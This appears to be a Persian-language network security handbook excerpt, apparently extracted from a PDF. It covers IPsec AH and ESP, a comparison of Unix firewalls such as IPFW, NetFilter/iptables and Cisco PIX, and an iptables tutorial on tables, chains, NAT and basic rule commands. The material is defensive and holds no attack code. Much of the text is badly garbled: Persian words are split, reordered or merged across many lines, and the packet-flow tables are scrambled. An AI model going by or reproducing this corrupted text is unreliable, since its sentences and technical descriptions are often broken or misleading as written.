Personal Firewall و ZonAlarm رای  را امين  کارهای  راه .گفت  خواهم  شما  ب ن  شبکه  در امنيت  ت سمت  ای ط  را ق ه  فق  صورت  ب
نم  می بازگو موردی د  و . ک شا  ا بع د  هر  . داد خواهم  مفصل  توضيح  ، االله ءان وز  چن تفاده  هن ن  از اس ا  راه ای اب  کاره شده  ب  در . است  ن

TCP/IP ر  ها داده امنيت تامين و نشده گنجانده امنيتی و حفاظتی عمليات ده  ب ه  عه اربردی  های  برنام اليان  در . است  شده  گذاشته  ک  س
ن  نتيجه ترین مهم است؛ گرفته صورت TCP/IP بر مبتنی های شبکه امنيت بردن بالا در زیادی بسيار های تلاش اخير ا  تلاش  ای  را ه
 :شمرد زیر استاندارد دو توان می اند، شده عرضه جهانی استانداردهای قالب در که
 

(Secure Socket Layer) SSL و (IP Security) IP Sec تقریبا آنها وظيفه  Encrypt و Encode است اطلاعات کردن 
 
 
 

(Authentication Header) AH 
  
 می مطمئن ، بسته از برداری بهره از قبل یعنی .کند می هویت احراز را ها بسته AH  است مشخص پروتکل این نام از که ای گونه به

سته  ی کننده توليد هویت تایيد برای AH  است جعلی آنکه یا است شده توليد آن واقعی مبدا از بسته یک که شود  های  امضا  اصول  از ب
 . کند تایيد را مسير در بسته یک تغيير عدم و ها داده صحت تا دارد وظيفه ضمن در ، گيرد می بهره دیجيتالی

 
  است زیر صورت به IP Sec  استانداردهای زا AH بسته ساختار
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Authentication Header: 
 
  

  
  
  
ه  متعلق بسته سرآیند IP  بسته سرآیند از پس آنکه جای به IP Sec  بسته یک در حقيقت در ه  ب ال  لای رار  انتق ه  ق  IP سرآیند  باشد،  گرفت

Sec منابع به باید بيشتر توضيح و تحليل برای .شود می شروع IETF  د  فرض .کنيد مراجعه ه  کني دا  هویت  احراز  ک د  مب ده  تولي  ی کنن
ا  شود؛  انجام دقت به AH  توسط آن صحت تایيد و بسته ن  آی ات  ای ا  داده امنيت  عملي د؟  می  تضمين  را ه وز  کن ه  هن را  ن  یک  اگرچه  زی

ی جع صورت به را ای بسته یا کند دستکاری را مسير روی بر ارسالی های داده نيست قادر نفوذگر رای  ل تد  ماشينی  ب ی  بفرس سئله  ول  م
   .ميشود آشکار دیگر پروتکل یک ESP  نقش که اینجاست .است نشده حل Sniffing یا سمع استراق

 
 
  

 (Encapsulating Security Payload) ESP 
  
  

شاهده  را ESP ی بسته ساختار زیر در .شد خواهد حل پروتکل این وسيله به سمع استراق خطر و اطلاعات شدن محرمانه مسئله  می  م
  :کنيد

 
  

  
  

ESP Header: 
  
  

  
  
  
 نگاری  رمز  کاملا که گيرد می قرار TCP مثلا انتقال لایه به متعلق ی بسته ESP Trailer و ESP Header فيلد دو بين بسته این در
 های امضا طریق از تواند میESP  کند برداری بهره و استخراج را آنها توانست نخواهد باشد، نداشته آنرا رمز کليد کسی تا است؛ شده

 .کند هویت احراز را ها بسته دیجيتالی
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IP Sec وز  اطلاعات،  از امنيت تامين در هایش توانائی تمام با سته  هن انی  گسترش  نتوان دا  جه د  پي ل  بزرگی  های  شرکت  اگرچه  کن  مث
 ولی اند نموده عرضه آنرا Windows 2000/Xp 2003 مثل خود محصولات در و اند کرده گذاری سرمایه آن روی بر مایکروسافت
   :داد ربط زیر عامل دو به را  IPSec رونق عدم دليل بتوان شاید است بوده ناچيز بسيار آن عملی بکارگيری

  
  

١. IP Sec در را خود  حيثيت  تمام سازمانها سازی پياده های نسخه تا شده باعث ها پيچيدگی این و است طولانی و پيچيده بسيار 
  !شود آنها گير گریبان داشت، خواهند آنها کاربران که مشکلاتی و بگذارند IP Sec  نصب گرو

 
 که موقعی تا .است رمزنگاری کليدهای توزیع و دیجيتالی های امضا گواهی مراکز شده  IP Sec رشد مانع که دیگری مشکل .٢

ده  سرویس تاسيس برای جهانی عزم یک ئن  های  دهن واهی  مطم ع  و امضا  گ د  توزی  نداشته  وجود   Keys Distribution کلي
  .یافت نخواهد گسترش نيز IP Sec از استفاده باشد،

  
ه  ای آینده در که رود می انتظار دان  ن ا  دور، چن ه  غوغایی  ب وذگران  ک راه  نف ه  ب د  انداخت از  شبکه  در را خود  جای  IP Sec ان د  ، ب  ، کن
 نسبی نقص و بشری هوش به توجه با البته  !مشغولند خود کار به هم نفوذگران و است استفاده بلا و مجهول نسبتا IP Sec هنوز وليکن
 آنها جدالهای و کوچکتر را آنها جمع بلکه کرد، نخواهد جمع را نفوذگران بساط مطمئنا امنيتی، مکانيزم هر یا IP Sec بشر های ساخته

 !!! نمود خواهد تر دیدنی و پيشرفته را
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  فايروال ها در لينوکس 
  

امپيوتری اهميت تضمين امنيت از وجوه           اربرد شبکه های ک زون ک د       با گسترش روزاف دا می کن شتری پي ود بي دین  . مختلف در آن نم ب
د         منظور دیواره های آتش و سيستم دا می کنن سياری پي وذ اهميت ب شخيص نف ایروال .های ت وان بخش مهمی از      ف ه عن ا ب ساختار یک    ه

   .طراحی، ساخت و پياده سازی آنها مورد توجه قرار گيرد شدت تحت تاثير پارامتر های مهمی هستند که باید درشبکه، به 
 

   کارایی فایروال
 

   : شبکه به عوامل متعددی بستگی دارد که از جمله مهمترین آنها می توان به موارد زیر اشاره کردامنيتکارایی یک سيستم حفاظت 
 
 

   چرا یونيکس
 

   :یل ذیل، فایروال های تحت ویندوز در این پروژه مورد بحث قرار نمی گيرندبه دلا
  

   . باز نيستند–د ک •
  

رم       ه خروجی آن، یک محصول ن زاری   از آنجا که در این پروژه سعی بر آن است ک اد امنيت و ضمانت       –اف رای ایج زاری ب  سخت اف
وده و   تا ضمن ارایه آن، تشریح کد های نوشته باز باشد –محصول باید به صورت کد  حصول و پایداری آن باشد، شده بر آن امکانپذیر ب

ه جاسوسی      .شدن توسط کاربر را داشته باشد custom قابليت وان یک برنام ه عن  از سوی دیگر محصول باید بتواند ادعا کند که خود ب
   .استفاده نمی شود

  
   .رایگان نيستند •

 
ای تجارت الکترونيک و        ند و از آنجا که با شرایطمحصولات تجاری تحت ویندوز اغلب رایگان نيست اه آن در دني ران و جایگ امروز ای

    رایگان امکان استفاده از آنها وجود ندارد–باز  محصولات کد نيز گرایش کاربران به
  

   .پشتيبانی درستی از آنها صورت نمی پذیرد •
 

شتيبانی از محصولات ارا        شاهده می شود؛ پ ه در بخش اول م ه شده  آنچنان ک ه شرکت          ی ه شکایات علي ا ک ا آنج سيار ضعيف است، ت  ب
McAfee ود   به عنوان یکی از رده ب ه      .بزرگترین شرکت های امنيتی دنيا مدتها کاربران را دچار سردرگمی ک ه محصولات ب عدم ارای
د    باز از جمله عوامل مشکل زای این محصولات–صورت کد  ارد و اشکالات موجود   است؛ به قسمی که امکان صلاح و تغيير وجود ن

   .ه بعد قابل رفع نيستندخسيستم ها تا ارایه نس در این
  

   .قدرت و کارایی آنها در مقایسه با محصولات تحت یونيکس پایين است •
 

ونيکس     ستم عامل ی ارایی          چنانچه در قسمت های بعد خواهيم دید، محصولات تحت سي درت، دقت و ک ر محصولات دیگر ق د براب ا چن ت
   .روی می آورند دهندگان محصولات تحت ویندوز برای امنيت شبکه خود به محصولات تحت یونيکس جایی که ارایهدارند تا 

 
ر اساس قابليت            .در این قسمت به ارایه ليستی از نرم افزارهای موجود در بازار می پردازیم زار ب رم اف رای هر ن ه شده ب ات ارای امکان

   .طه استسایت رسمی شرکت مربو های معرفی شده در
 
 

   معرفی و مقایسه
 
 

 Linux , *BSD ) تحت سيستم عامل یونيکس (Commercial Packages) معرفی و مقایسه نرم افزارهای تجاری موجود در بازار
and etc…):   
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IPFW  

  
ایروا  . ارایه شده است BSD توسط مهندسين دانشگاه برکلی امریکا بر روی سيستم عامل های  ipfwفایروال ن ف ه قابليت های آن    ای ل ک

ارایی     با توجه به نتایج آماری ارایه شده در سایت های رسمی یونيکس در رده بهترین  خواهد آمدتفصيلدر ادامه به  ایروال از جهت ک ف
ه است    رار گرفت ات و  . و ماندگاری ق ل امکان ایروال شرح داده می شود        در ذی ن ف ایروال    . قابليت های ای ه از ف د نمون ه چن ا  در ادام ی ه

   .صولات با هم مقایسه می شوندحم کاربرد تحت سيستم عامل یونيکس شرح داده شده و سپس این موجود و پر
 

د   ipfirewall(ipfw) و ipfilter از دو سيستم IP غالبا برای بررسی بسته های BSD سيستم های ایروال    . استفاده می کنن ن ف هر دو ای
ایروال    قبل از اینکه.  و تعيين رد یا قبول بسته ها را دارندها rule را برای ساختن ها قوانين مخصوص خود ن ف بتوانيد از هر کدام از ای

   .تغيير داده مجددا کمپایل کنيد ها استفاده کنيد باید کرنل خود را
 

IPFW در قياس با ipfilter بيشتر است و قابليت کد نویسی بهتری دارد و همچنين پيچيدگی آن script   ه صور ه ای  نویسی را ب ت حرف
د      ipfilter در یک نگاه کلی. دارد ر عمل ميکن دی ضعيف ت رای تنظيم و     . برای پيکربن ه ب دان جهت ک سمت      rule ب رای هر ق سی ب نوی

   .استا قابليت پيکربندی در یک قالب واحد را دار IPFW اما های جداگانه ای نياز است، جداگانه، ابزار و ویرایشگر
 
 
NetFilter / IpTables  
 

 :NetFilter / IpTables  ٢٫۴بصورت درون ساختاری در کرنل نسخه.x  ٢٫۶و.x ن ساختار قابليت   . لينوکس پياده سازی شده اند  ای
packet filtering, network addresses [and port] translation (NA[P]T)  و دیگر packet mangling  ا را  .است ا دار ه

Netfilter تفاده از یک        در داخل کرنل است که بهشامل مجموعه ای از ماژول هایی ا اس کرنل قابليت ثبت رخدادهای داخل شبکه را ب
   .انباره می دهد

 
Iptable       وانين می باشد ه شامل شرحی از ق انون  . یک جدولی است ک راه جدول      هر ق ه هم ا     ip تعریف شده ب دادی کلاس ه  شامل تع

(iptables matches) اتصال انجام شده و یک (iptables target) می باشد.   
 

   قابليت های اصلی
 
   stateless فيلتر بسته ها بصورت •
 
   stateful فيلتر بسته ها بصورت •
 
   (NAT/NAPT) ترجمه آدرس شبکه و پورت شبکه •
 
   ساختار قابل انعطاف و قابل توسعه •
 
   'patch-o-matic' استفاده از ماژول های ذخيره شده در •
 
  

   انجام دهيم NetFilter / IpTables م باآنچه که ما می تواني
  
 
  
   stateful و statelessایجاد فایروال اینترنتی بر اساس فيلتر بسته ها بصورت •
 
   برای اشتراک اینترنت NAT استفاده از •
 
   برای پياده سازی پراکسی NAT استفاده از •
 
   پيشرفته policy router و Quality of Services برای ایجاد iproute2 و tc پشتيبانی از سيستم های •
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   در هدر بسته TOS/DSCP/ECN بسته ها به منظور مدیریت و نظارت بر آنها مانند تغيير در بيتهای  :  mangling تکه کردن ،تکه
 

   در قياس با ديگر فايروال ها NetFilter / IpTables قابليت های
 
   Connection tracking گيری ارتباطات  رد–تطبيق وضعيت  •
 
   گيری آنها اتصال اتوماتيک بسته های جدا شده به منظور رد •
 
   . . . و string matching و rate limit  تطبيق پيشرفته بسته ها مانند–تطبيق بهبود یافته  •
 
   ها و ورودی های به آن log  قابليت سفارشی کردن–ثبت وقایع به صورت بهبود یافته  •
  

 
   همعماری هدايت بست

 
د            سته در آن را بداني دایت ب اری ه اری، لازم است معم ام هر ک ل از انج ایروال، قب ن ف ه      . در ای د ب شتر ميتواني ات بي ه جزیي رای مطالع  ب

html.flow_ipt/org.dyndns.ods://http مراجعه کنيد   
 
Cisco Pix  

 
سيستم عامل درون این فایروال  .مجموعه ای از بهترین امکانات را به منظور ارایه کارایی بهينه ارایه ميکنند Cisco Pix های فایروال

ر  ، کنترلVPN پراکسی با سرعت عمل بالا، پشتيبانی از سازگار با سخت افزار، قابليت هایی چون الگوریتم های امنيتی  URL بر فيلت
   .ری را ارایه می کندو قابليت های بسيار دیگ

 
   قابليت های اصلی

 
ASA  
 

Adaptive Security Algorithm ایروال از آن    یکی از ویژگی های منحصر به فرد این ن ف فایروال است و به عنوان هسته اصلی ای
داری  عهده این ق بر stateful داخل فایروال توسط این قسمت کنترل می شود و بررسی بسته های ترافيک.یاد می شود سمت است و نگه

ار            ASA در نهایت .اتصالات و جداول ارتباطات را بر عهده دارد ه ک ا ب سته ه ال ب رای انتق سيار امن از اتصال را ب اط ب می   یک ارتب
   .کند گيری و نفوذ در آن را توسط نفوذ گران بسيار مشکل می گيرد و امکان رد

 
Cut-Through Proxy  
 

Cut-through proxy ر        ليت های منحصر به فرد این فایروال است کهنيز از قاب ستم را ب ا سي اط ب رای ارتب اربران ب کنترل دسترسی ک
ده دارد     اینکه کدام. عهده دارد ر عه ستم را ب اربری و      پس از شناسایی  . کاربر حق دسترسی به کدام قسمت از سي ام ک يله ن اربران بوس ک

شود         FTP یا HTTP, Telnet رمز عبور آن ها، برای اتصال به ستم داده مي ه سي وع دسترسی، اجازه دسترسی ب  سرعت . بر اساس ن
   ده از این تکنولوژی بسيار بالاستاشناسایی و اتصال بواسطه استفت

  
 
Failover /Hot Standby  
 

  
 Failover ایروال   قابليتی را ی اتصال دو ف ه ای      Cisco  ب ه گون ه یکدیگر است ب ار تر      ب ل ب ایروال در مقاب ایی ف ه توان الا را   ک افيکی ب

دارد      نيازی به راه Failover به این معنی است که با استفاده از قابليت Hot standby .افزایش می دهد ایروال وجود ن دازی مجدد ف . ان
   .برابر بار سنگين بدون مداخله نيروی انسانی ممکن می شود ت درمدر نهایت مقاومت فایروال برای مقاو
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   :IPTablesآشنايی با ابزار

 به عنوان نسل چهارم IPTables .پردازیم می IPTables  نام ها به کننده بسته  به معرفی یکی از ابزارهای قدرتمند تصفيهدر این قسمت
  .های زیر است  شامل بخشقسمت این .شود عامل لينوکس معرفی می سازی شده از ابزارهای تصفيه کننده سيستم پياده

  ها  تصفيه کننده بسته معرفی سيستم •
  عامل لينوکس های سيستم تاریخچه حفاظ •
  IPtables  و قوانين زنجيرها، جداول •
  IPtables قوانين •
  سازی چند سياست ساده امنيتی پياده •
  IPtables اندازی و استفاده از راه •
  جهت مطالعه بيشتر •
 مراجع •

  ها ه کننده بستهيستم تصفيمعرفی س

ی    برای کنترل ترافيک ورودی و خروجی بسته) ه از نامش پيداستطور ک همان(ها  کننده بسته یک سيستم تصفيه  1ها بين یک شبکه داخل
 :توان به کمک یک تصفيه کننده می. رود  کار می و شبکه خارجی به

 .ا محدود کردها ر دسترسی به اینترنت از طریق بعضی ماشين .١
 .های انجام شده از خارج را مسدود کرد ترافيک ناخواسته و نيز پویش .٢
توان تعداد زیادی از کامپيوترهای داخل شبکه را تنها با  می NAT به کمک.  استفاده کرد های شبکه از امکان ترجمه آدرس .٣

 .معتبر به شبکه خارجی متصل نمود IP آدرس داشتن یک
 .(Redirect)را از دید کاربران شفاف نمود Proxy رکارگزااستفاده از  .۴

 ها ه کننده بستهيهای تصف ستميانواع س

 :شوند  طور کلی به دو نوع تقسيم می ها به های تصفيه کننده بسته سيستم

است،  3 های دیگر و اینکه متعلق به چه ارتباطی ها تصفيه هر بسته مستقل از بسته تمدر این سيس : 2های بدون حالت سيستم .١
 .گيرد صورت می

گذرد،  خارج یا از آن می ای تاریخچه هر ارتباطی که به آن وارد، ها حافظه جداگانه در این سيستم : 4های مبتنی بر حالت سيستم .٢
های  عموماً حفاظ. باشد های شبکه ضروری می و سایر سرویس FTP، DNS این ویژگی برای پيکربندی مؤثر. کند را ثبت می

تری برای  توان مجموعه قوانين سخت می چرا که با استفاده از آنها. باشند تر می های بدون حالت امن از نمونه مبتنی بر حالت
 .کنترل ترافيک اعمال کرد

 خچهيتار

 :اند ها چهار نسل تکامل را پشت سر گذاشته محصولات ارائه شده تحت عنوان تصفيه کننده بسته

• IPFW: سته    این نسخه یادآور اولين صفيه ب ه در داخل هسته      ا می ه  پشتيبانی لينوکس از سرویس ت ه    ١٫٢باشد ک وکس تعبي لين
ود   پياده های ابتدایی مورد انتظار از یک حفاظ را ویژگی IPFW .شده بود رده ب ارت    بعضی از محدودیت  . سازی ک های آن عب
 :بودند از
o داد عمل تصفيه را تنها روی یک پورت انجام می 
o Mason کرد از آن پشتيبانی نمی 
o ابل استفاده نبودهای توزیع شده ق در محيط. 
o مبتنی بر حالت نبود. 

• IPFWADM:  های مبداء و مقصد انجام ها را از روی آدرس درگاه تصفيه بسته. داده شده است  لينوکس قرار٢٫٠در هسته 
با این وجود یک حفاظ مبتنی بر . شده بود در آن قرار داده) ترجمه چند به یک) IP های سازی آدرس داد و امکان مخفی می

 .کرد پشتيبانی می ICMP5 و TCP ،UDP  نبود و تنها از قراردادهایحالت
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• IPChains:  های زیرنوع با وجود اینکه یک حفاظ مبتنی بر حالت نبود، ولی از. داده شده بود  لينوکس قرار٢٫٢در هسته  
ICMP ها  ایر قراردادو س(علاوه بر از TCP ،UDP و ICMP) کرد پشتيبانی می.  

نسبت به   IPtables .شد پيش فرض لينوکس همراه با آن نصب می به عنوان حفاظ IPtables  لينوکس به بعد٢٫۴از هسته  •
 :قبل خود چند تفاوت مهم داشت های نسل حفاظ
o یک حفاظ مبتنی بر حالت بود. 
o کرد  پشتيبانی می۶٫٠سخه از قرارداد اینترنت ن. 
o برخوردار بود ای از طراحی پيمانه . 
o های دو نسل قبل خود، یعنی های فوق، با نسخه علاوه بر جهش IPFWADM و ipchains مطابقت داشت. 

(Backward Compatibility) 

 IPtables ها و زنجيرها در جدول

ستلزم       هستند که شناخت این ابزار و نحوه عملکرد آن و  IPtables دو مفهوم اساسی در  7و زنجير  6جدول ورد نظر م وانين م نوشتن ق
   .باشد درک کامل این مفاهيم می

وانين . گيرند ای از قوانين مرتبط را در برمی ها مجموعه جدول IPtables در دا         این ق ی پي ا معن وان زنجيره در ساختار دیگری تحت عن
ان می     عبور بسته زنجيرها انواع نحوه. کنند می اظ را بي ا از حف د  ه سته در ورود،     . کنن ه اینکه هر ب سته ب اظ چه       ب ور از حف ا عب خروج ی

يده  نحوه اعمال قوانين جدول به این صورت است که بسته. شود اعمال می ها روی آن ز قوانين جدولمسيری را بپيماید، بخشی ا  های رس
ال می    شوند و اولين قانونی که با شرایط بسته مطابق با تک تک قوانين آن مقایسه می ورد آن اعم ن صورت    . شود  باشد، در م ر ای در غي

اظ روی  رض حف يش ف ت پ ود  سياس ی ش ال م ولق. (آن اعم تن  8ب ا دور ریخ  ( 9ی
 :عبارتند از IPtables سه جدول عمده مورد استفاده در

 : 10هيجدول تصف .١

 
صميم  . گيرد برمی ها را در جدول تصفيه در واقع مجموعه قوانين مربوط به تصفيه بسته این  اره   عمل ت ری درب سته   گي صفيه ب ا   ی ت ه

اظ      .ا اشاره خواهيم کردتر به آنه صورت کامل گيرد که در ادامه به آنها صورت می های خاصی از روی ویژگی ه حف ه نحوی ب باید ب
اره  سته  فهماند چه تصميمی درب انون     ی ب ه در یک ق ایی ک د    صدق می   ه اذ کن د، اتخ سته       . کنن ام شده روی یک ب ال انج رین اعم مهمت

  .قبول و دور ریختن عبارتند از

 

 :جدول ترجمه آدرس .٢

 
ه آن  ر کار می ها به ی آدرس بسته آدرس برای ترجمه ی جدول ترجمه ه  NAT ود که اصطلاحاً ب سياری از شبکه  . شود  می  گفت های   ب

ی سازمان   راهم     داخل سياری از ف ی ب ا و حت ا از یک       ه ی تنه دگان خدمات اینترنت رای اتصال مجموعه وسيعی از      IP آورن ر ب  معتب
ن امکان  زمکاني. کنند کامپيوترهای خود به شبکه اینترنت استفاده می راهم    می که ای ا ف رای آنه رای  . باشد  می  NATآورد،   می را ب ب

تفاده از  ه   NAT اس ق       IP یک آدرس  حداقل ب ن آدرس از طری ه ای اج است ک ر احتي ا     ISP معتب ا ی ه صورت پوی ه شبکه     ب تيا ب اس
  گيرد و برای آدرس داخلی دروازه شبکه مورد استفاده قرار می این آدرس به عنوان آدرس خارجی دروازه. شود اختصاص داده می

ایر گر   رای شبکه   11 های رزرو شده   شبکه از مجموعه آدرس   های  هو س تفاده می     ب ی اس ه     . شود  های داخل ن ترتيب آدرس هم ه ای ب
اظ روی آن در   (شوند، در دروازه   می  های داخلی که به مقصدی خارج از شبکه محلی فرستاده ایجاد شده در ماشين های بسته ه حف ک

ورد    ی آدرس ترجمه .شوند ترجمه می) حال اجراست اه م تفاده در   ها به این صورت است که جایگزین آدرس مقصد و شماره درگ اس
سته از جانب      . شوند  داده شده می   معتبر دروازه و شماره درگاه جدید تخصيص IP بسته اوليه آدرس ع ماشين خارجی یک ب  در واق
ان آدرس   کند و بسته می دروازه دریافت ه هم ر برمی   IP های برگشتی را نيز ب د  معتب ه آدرس در یک جدول      .گردان اطلاعات ترجم

سته  شود تا بتوان  در دروازه ذخيره می مراجعه ورد نظر         با استفاده از آن، ب ی م ه ماشين داخل اد  (های برگشتی را ب ه ایج ده  ک ی  کنن
تفاده از      ای از پيکربندی شبکه شکل زیر نمونه. هدایت کرد) اصلی بسته بوده ا اس ه اینترنت ب شان   NAT داخلی برای اتصال ب را ن

  :دهد می

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤٨٦    صفحه

 

ی داخلی با استفاده از پيکربندی شبکه : ١شکل   NAT 

 ال انجام شده رویاعم. گردد های گذرنده از حفاظ یا ایجاد شده در آن می بسته این کار در نهایت منجر به تغيير آدرس مبداء یا مقصد
 :ها در این جدول عبارتند از بسته

• DNAT: با در  ی آدرس زمانی مفيد خواهد بود که این نوع ترجمه. رود کار می مقصد بسته به این گزینه برای تغيير آدرس
شبکه داخلی یا یک ماشين از  DMZ اینترنت را به های دریافت شده از شبکه مجاز، بخواهيم بسته IP اختيار داشتن تنها یک

  .خود بفرستيم
• SNAT: های شبکه  ماشين از این نوع ترجمه برای مخفی کردن آدرس. رود کار می ها به مبداء بسته عموماً برای تغيير آدرس

معتبر حفاظ  IP های گذرنده از حفاظ از داخل شبکه به آدرس بسته مثلاً یک زمانی که آدرس. شود استفاده می DMZ داخلی یا
های برگشتی به  هدایت بسته بدیهی است که برای. ای از این مورد کاربرد است شود نمونه و از آن خارج می ودش ترجمه می

 .های مبداء، باید از یک جدول مراجعه کمک گرفت گره
• MASQUERADE: گزینه تقریباً مشابه مورد استفاده این SNAT به یک  ها جای ترجمه آدرس با این تفاوت که به. باشد می

کننده خدمات اینترنتی هستيد و با استفاده  فراهم در صورتی که یک. س ثابت و مشخص، آدرس مورد نظر باید محاسبه شودآدر
ی  نوع ترجمه دهيد، ناگزیر به استفاده از این اختصاص می IP های کاربران خود آدرس ماشين صورت پویا به و به DHCP از

 .آدرس هستيد

 :Mangle جدول .3        
کار  روی آنها به  14و یا برچسب زدنTTL 13، 12  ToS ها، از جمله های خاصی از بسته عموماً برای تغيير ویژگی Mangle جدول
ها از مسيرهای مختلف را نشان  و نحوه پيمایش بسته IPtables در شکل زیر ساختار کلی زنجيرهای استاندارد تعریف شده. رود می
 .دهد می
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ها از حفاظ  جریان هدایت بسته- ٢شکل   IPtables 

  .عبور کند IPtables همانطور که از شکل پيداست، یک بسته ممکن است به سه صورت مختلف از زنجيرهای

 .هایی که آدرس مقصد آنها ماشينی است که حفاظ روی آن نصب شده است بسته .١
روی آنها قابل اعمال گذرد و قوانين جداول زیر  ای از حفاظ عبور داده شود، از زنجيرهای زیر می قبل از اینکه چنين بسته

  :است

جدول  مرحله حاتيتوض  زنجير   
رسانه اتصال شبکه به      1

ميمثلاً س(نترنت یا ) 
ورود به کارت واسط شبکه      2

مثلاً(  eth0) 

3 mangle PREROUTING
ف شده در یاعمال تعر

) mangle جدول رييتغ  TOS 
رهيو غ ) 

4 nat PREROUTING مورد  DNAT عموماً برای
رديگ ستفاده قرار میا  

5     
نکه یا: ابی بستهیريمس

ن يبسته به مقصد ماش
د یا بایمحلی ارسال شده 

 از آن عبور کند؟
6 mangle INPUT   

7 filter INPUT 
ی که به یها ه بستهيتصف

ن محلی ارسال يماش
اند شده . 

8     
ا پروسه یبرنامه کاربردی 

مثلاً (ن محلی يماش
ارفرمای ا کیبرنامه کارگزار 
نين ماشیاجرا شده در ا )
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 شوند هایی که در ماشين محلی توليد می بسته    .2      
گذرد و قوانين جداول زیر روی آنها قابل اعمال  ای بتواند ماشين محلی را ترک کند، از زنجيرهای زیر می قبل از اینکه چنين بسته

 :است

   

حاتيتوض  زنجير  جدول  مرحله  

1     
ن يا پروسه ماشیکاربردی برنامه 

ا یمثلاً برنامه کارگزار (محلی 
ن یکارفرمای اجراشده در ا
نيماش ) 

2     
از : ردهی بستهيی مس ری دربارهيگ ميتصم

چه آدرسی استفاده شود؟ از چه کارت 
ای عبور داده شود؟ واسط شبکه ... 

3 mangle OUTPUT   
4 nat OUTPUT ن يشی که در مایها ی آدرس بسته ترجمه

شوند د میيمحلی تول  
5 filter OUTPUT ن محلی يی که در ماشیها ی بسته هيتصف

شوند د میيتول  
6 mangle     
7 nat   اعمال ترجمه آدرس از نوع SNAT ای  

MASQUERADE 
  خروج از کارت واسط کاربر شبکه     8
ميمثلاً س(نترنت یرسانه اتصال شبکه به ا     9 )

  کنند هایی که از حفاظ عبور می تهبس    .3        
گذرد و  خروجی منتقل شود، از زنجيرهای زیر می ای بتواند از کارت واسط شبکه ورودی به کارت واسط شبکه از اینکه چنين بسته قبل

 :قابل اعمال است  زیر روی آنها قوانين جداول

حاتيتوض  زنجير  جدول  مرحله  
 نترنتیرسانه اتصال شبکه به ا     1

ميمثلاً س( ) 
ورود به کارت واسط      2

مثلاً(شبکه  eth0) 
3 mangle PREROUTING ف شده در جدولیاعمال تعر  

mangle ( رييتغ  TOS رهيو غ )

4 nat  PREROUTING عموماً برای DNAT  مورد
رديگ استفاده قرار می  

5     
نکه بسته به یا:  ابی بستهیريمس

ن محلی ارسال شده يمقصد ماش
د از آن عبور کند؟یاا بی  

6 mangle FORWARD   
7 filter FORWARD ی که از حفاظ یها ه بستهيتصف

کنند عبور می  
8 mangle POSTROUTING   

9 nat POSTROUTING 
 اعمال ترجمه آدرس از نوع
SNAT ای  
MASQUERADE 

خروج از کارت واسط کاربر      10
  شبکه

رنت نتیرسانه اتصال شبکه به ا     11
ميمثلاً س( ) 

 
نيقوان  IPtables 
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های امنيتی یک سازمان در نهایت برای  ترین سياست ترین و پرهزینه پيچيده. دهند قوانين ابزار اصلی کار با هر حفاظی را تشکيل می
 :رت زیر بيان کردتوان به صو  را میIPtablesفرمت کلی دستورات . شوند ها به قوانين نه چندان پيچيده حفاظ تبدیل می تصفيه بسته

iptables [-t table]                     Packet-Criteria-Specification                       target   

  .رود کار می  برای مشخص کردن جدول حاوی دستور بهt–گزینه 
Packet-Criteria-Specificationگيرد های بسته مورد استفاده قرار می  برای تعيين ویژگی .target بيانگر عملی است که در 

  . شود در ادامه این گزارش فرمت کلی این دستور توضيح داده می. صورت انطباق بسته با قانون مورد نظر، باید روی آن انجام شود

  IPtableای برای تغيير قوانين موجود در  دستورات مهم و پايه .١

  نياضافه کردن قوان •

iptables –I chain [rulenum] rule-specification 

فرض به  صورت پيش این قانون به. کند اضافه می chain به زنجير rulenum قبل از قانون با شماره دستور فوق یک قانون جدید
 .شود ابتدای قوانين اضافه می

 (ن قبلیيبه انتهای قوان(ن ياضافه کردن قوان •

iptables –A chain  rule-specification 

 نينی قوانيگزيجا •

iptables –R chain rulenum rule-specification 

 نيحذف قوان •

iptables –D chain rule-specification 

 نيحذف دسته جمعی قوان •

iptables –F chain  

 ديک زنجير جديجاد يا •

iptables –N newchain 

 جاد شدهيد ايحذف زنجير جد •

iptables –X newchain 

 ک زنجيريف شده در ين تعريمشاهده قوان •

iptables –L chain 

 .شود  منظور می١شماره اولين قانون  IPtables در دستورات

 IPtable پارامترهای مهم دستورات       .2        
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 :رود، عبارتند از بکار می IPtables ها که برای تعيين انطباق آنها در دستورات های بسته بعضی از ویژگی

 برای مشخص کردن این ویژگی از گزینه .(...، TCP ،UDP ،ICMP)بستهقرارداد استفاده شده در انتقال  :قرارداد ارتباطی •
–p شود استفاده می. 

مثلاً ) توان آدرس نقاب شبکه را نيز مشخص کرد با استفاده از آن می. کند مشخص می آدرس مبداء بسته را :آدرس مبداء •
توان  می! با استفاده از علامت . )باشد می ٢۵۵٫٢۵۵٫٠٫٠با آدرس نقاب شبکه  B  معادل یک کلاس١٩٢٫١۶٨٫٠٫٠/١۶

 .شود  استفاده می s– مشخص کردن آن از گزینه برای. تفسير قانون را معکوس کرد

 

 بسته های. شود استفاده می d– برای مشخص کردن از علامت. باشد آدرس مبداء می دارای امکاناتی مشابه :آدرس مقصد •
مثلاً . رود شوند، بکار می وارد می ایی که به واسط شبکه مشخصیه برای مشخص کردن کليه بسته: ورودی از واسط شبکه

 .دهيم نشان می i eth0– را با eth0 های ورودی به کارت واسط شبکه بسته

 

 .مشابه دستور فوق :های خروجی از واسط شبکه بسته •
 .ها دسترسی داریم ه بستههای بيشتری برای تصفي استفاده کنيم، به گزینه UDP یا TCP در صورتيکه از قرارداد ارتباطی

 

  : ها ن محدوده شماره درگاهييتع •

--source-port                    [!] port[: port] 
  Examples:  
     --source-port 0: 1023 
     --source-port ! 80 
-- destination- port            [!] port[: port] 

، چهار حالت مختلف IPtables در. یک حفاظ مبتنی بر حالت است IPtablesد، همانطور که ذکر ش :ه مبتنی بر حالتيتصف •
. کردهای متعلق به آنها را تصفيه  توان بسته شود که با استفاده از آنها می ایجاد شده در نظر گرفته می 15های برای ارتباط

  :های مختلف عبارتند از حالت
o New: در واقع پس از دیدن اولين بسته . اند هایی است که تنها یک بسته در یک جهت ارسال کرده مشخصه ارتباط

 .کند تغيير می New ، وضعيت آن به.)آنها روشن باشد TCP از سرآیند  SYN 16ای که پرچم بسته(از هر ارتباط 
o Established: پس از دیدن . است که بسته در هر دو جهت از طریق آنها ارسال شده است هایی مشخصه ارتباط

، مشخصه ارتباط ایجاد )باشد آنها روشن TCP از سرآیند ACK ای که پرچم بسته(پاسخ به بسته ارسال شده  اولين
 .کند تغيير می Established به New شده از

